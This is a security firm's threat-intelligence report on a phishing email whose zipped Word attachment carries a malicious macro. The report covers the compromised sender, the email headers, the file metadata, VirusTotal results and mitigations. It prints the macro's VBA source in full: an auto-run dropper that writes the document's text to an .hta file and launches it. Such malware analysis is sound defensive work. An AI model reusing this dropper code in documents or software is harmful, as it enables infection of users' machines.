



## SEPTEMBER CYBERSECURITY INTELLIGENCE

This document contains a brief analysis of cyber attacks launched against organisations such as Inveteck Global. This document should be used by cyber intelligence team to further understand attack trends and protect their organisations.

---

### Re: Thank you for contacting Inveteck Global



From [victor@garofinginc.com](mailto:victor@garofinginc.com) on 2021-09-10 12:43

 [Details](#)  [Plain text](#)

 [request.zip \(~47 KB\)](#) ▾

Hello ,

The important information for you. See the attachment to the email.

Password - 76vbny

Thank you.

attempted request.zip attack on Inveteck Global

THIS IS A PRIVATE PROPERTY OF INVETECK GLOBAL

AND IS FOR USE BY INVETECK GLOBAL AND STUDENTS OF INVETECK ONLY.



The image above shows request.zip bypassing all email security and getting to the inbox. This isn't flagged as malicious. Why?

1. It's in a zip format. This prevents antivirus and malware scanners from analysing the file in the mail server used here.
2. The file is sent from a legitimate source. Attackers compromised the email server of garoofinginc (adryroof.com) to send such a file.

```
root@inveleteck:~/Desktop/malware-analysis# curl -I garoofinginc.com
HTTP/1.1 301 Moved Permanently
Server: nginx/1.16.1
Date: Sat, 11 Sep 2021 10:36:38 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Location: http://adryroof.com
```

gardoofinginc.com to adryroof.com

THIS IS A PRIVATE PROPERTY OF INVETECK GLOBAL

AND IS FOR USE BY INVETECK GLOBAL AND STUDENTS OF INVETECK ONLY.



Physical location of garoofinginc which is permanently closed.



physical location of garoofinginc

THIS IS A PRIVATE PROPERTY OF INVETECK GLOBAL

AND IS FOR USE BY INVETECK GLOBAL AND STUDENTS OF INVETECK ONLY.



checking the email header shows the return-path of the compromised email server which belongs to the user victor. Replying to this email will go back to the attacker since he has access to the account.

**Return-Path: <victor@garofinginc.com>**  
**Delivered-To: info@inveteckglobal.com**

email header analysis

THIS IS A PRIVATE PROPERTY OF INVETECK GLOBAL

AND IS FOR USE BY INVETECK GLOBAL AND STUDENTS OF INVETECK ONLY.



Checking out the metadata of the doc file, we notice attackers are abusing the macros feature in microsoft word 97-2003. A malicious script is stored in macros with the microsoft office file.

```
System : Windows
Word 97 : No
Title :
Subject :
Author : admin
Keywords :
Comments :
Template : Normal
Last Modified By : 8765456789
Software : Microsoft Office Word
Create Date : 2021:09:10 10:21:00
Modify Date : 2021:09:10 10:21:00
Security : None
Code Page : Windows Cyrillic
Category :
Manager :
Company : YOUR GLOBAL PARTNER
Bytes : 26624
Char Count With Spaces : 8430
App Version : 16.0000
Scale Crop : No
Links Up To Date : No
Shared Doc : No
Hyperlinks Changed : No
Title Of Parts :
Heading Pairs : Название, 1
Comp Obj User Type Len : 32
Comp Obj User Type : Microsoft Word 97-2003
Last Printed : 0000:00:00 00:00:00
Revision Number : 2
Total Edit Time : 0
Words : 87
Characters : 8357
Pages : 1
Paragraphs : 14
Lines : 29
root@inveteck:~/Desktop/malware-analysis#
```

metadata of doc file



After analysing the doc file, we notice an unclean script embedded in the macros.

script in macros

THIS IS A PRIVATE PROPERTY OF INVETECK GLOBAL

AND IS FOR USE BY INVETECK GLOBAL AND STUDENTS OF INVETECK ONLY.



Here we can neatly format the malicious macro script.

```
Sub document_open()
XR "caCurrPw.h", ""
End Sub
-----
VBA MACRO usPw.bas
in file: /root/Desktop/malware-analysis/file_09.21.doc - OLE stream: u'Macros/VBA/usPw'
-----
Sub XR(caPrevCurr, usDeUs)
Open caPrevCurr & "ta" For Output As #1
Print #1, Replace(ActiveDocument.Range.Text, "#-", "")
Close #1
prevDt caPrevCurr, "expl"
End Sub
Sub prevDt(caPrevCurr, currPwDe)
Set caCaDt = New IWshRuntimeLibrary.WshShell
With caCaDt
.exec "c:\\..\\..\\..\\windows\\" + currPwDe + "orer " + caPrevCurr & "ta"
End With
End Sub
```

clean macro script

Basically the script does the following:

1. When a document is opened and macros is enabled, the script gets executed.
2. Script opens a file and writes to another file.
3. Enumerate windows applications with shell application object.
4. Run a system command.



After uploading doc file to virustotal, this file gets flagged by 15/61 antivirus engines at the time of the scan. Virustotal analyze suspicious files and URLs to detect types of malware, automatically share them with the security community.

A screenshot of the virustotal analysis interface. At the top left, there's a blue square icon with a white 'V'. Next to it is the file hash: b260501da293e33c280fef10833b40484a67bd94e07f9bb3c3c7e5ec9a344589. To the right are search, upload, download, and sign-in buttons. A circular progress bar shows '15 / 61' engines flagged. Below the hash, the file name is listed as 'file\_09.21.doc'. To the right, it shows a size of '70.00 KB' and a timestamp of '2021-09-11 09:59:44 UTC a moment ago'. A 'DOC' file type icon is also present. The main table has tabs for DETECTION, DETAILS, RELATIONS, and COMMUNITY. The DETECTION tab is selected, showing results from various engines like Arcabit, AVG, ESET-NOD32, Ikarus, McAfee, Microsoft, and SentinelOne (Static ML). Each row includes the engine name, the threat type (e.g., HEUR.VBA.Trojan.d, SNH:Script [Dropper]), and a detailed description. The COMMUNITY tab shows interactions with other users.

## virustotal scan

THIS IS A PRIVATE PROPERTY OF INVETECK GLOBAL

AND IS FOR USE BY INVETECK GLOBAL AND STUDENTS OF INVETECK ONLY.



Virustotal gives a brief history of the doc file.

---

History ⓘ

---

Creation Time	2021-09-10 10:21:00
First Submission	2021-09-11 09:59:44
Last Submission	2021-09-11 09:59:44
Last Analysis	2021-09-11 09:59:44

---

Names ⓘ

---

file\_09.21.doc

history of doc file

This scan is first submitted by Inveteck Global from the image history above.

THIS IS A PRIVATE PROPERTY OF INVETECK GLOBAL

AND IS FOR USE BY INVETECK GLOBAL AND STUDENTS OF INVETECK ONLY.



## Mitigation & Recommendations

1. Users can be trained to identify social engineering techniques and spear phishing emails.
2. Always check file extensions carefully (attackers mostly prefer sending .doc, .hta, .exe, .scr, .exe, .pif, .cpl etc)
3. Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.
4. Conduct periodic security assessments (VAPT).

By:

Blay Abu Safian

Founder, Inveteck Global

[www.inveteckglobal.com](http://www.inveteckglobal.com)

+233 (20) 236-6048

THIS IS A PRIVATE PROPERTY OF INVETECK GLOBAL

AND IS FOR USE BY INVETECK GLOBAL AND STUDENTS OF INVETECK ONLY.



## Brief History

### **BLAY ABU SAFIAN**

Founder, Inveteck Global

Former CTF Team Lead for the Black Cyber Security Association (USA)  
Engineer

Exploit Developer

Cyber Security Researcher

International Cyber Security (Offensive) Speaker & Training

### **Achievements:**

Conducted Training with Defense Intelligence and Directorate of Information Technology of the Ghana Armed Forces. (Cyber Intelligence)

Speaker at EOCON Conference 2020 (CAMEROON) (Breaking into IOT)

Speaking at the Diana Initiative 2021 (USA) (Breaking into OT/ICS)

Speaker at BSIDES MAHARASHTRA Conference 2020 (INDIA)  
(Adversary Initial Foothold into Networks)

Blacks In Cybersecurity 2nd Place SocksCTF winner. (USA)



## Publications

<https://thebftonline.com/20/07/2020/blay-abu-safians-thoughts-voters-id-card-vulnerability/>

<https://www.owasp.org/images/e/eb/Waf-filter-404-not-found.pdf>

<https://owasp.org/www-chapter-ghana/assets/slides/owasp-presentation-google.pdf>

<https://www.modernghana.com/news/1047616/the-offensive-approach-to-ghanas-voter-data-expos.html>

<https://invetek.medium.com/practical-demo-of-the-unconstrained-delegation-attack-9b4891b70c78>

[https://www.exploit-db.com/exploits/48593 \(CVE-2020-26051\)](https://www.exploit-db.com/exploits/48593)

[https://www.exploit-db.com/exploits/48522 \(CVE-2020-26052\)](https://www.exploit-db.com/exploits/48522)



## **Services:**

Cybersecurity Consultancy

Cybersecurity Awareness/ hygiene

Practical Ethical Hacking Training

Vulnerability Assessment

Penetration Testing

Secured Code Development (software development with security in mind)

THIS IS A PRIVATE PROPERTY OF INVETECK GLOBAL

AND IS FOR USE BY INVETECK GLOBAL AND STUDENTS OF INVETECK ONLY.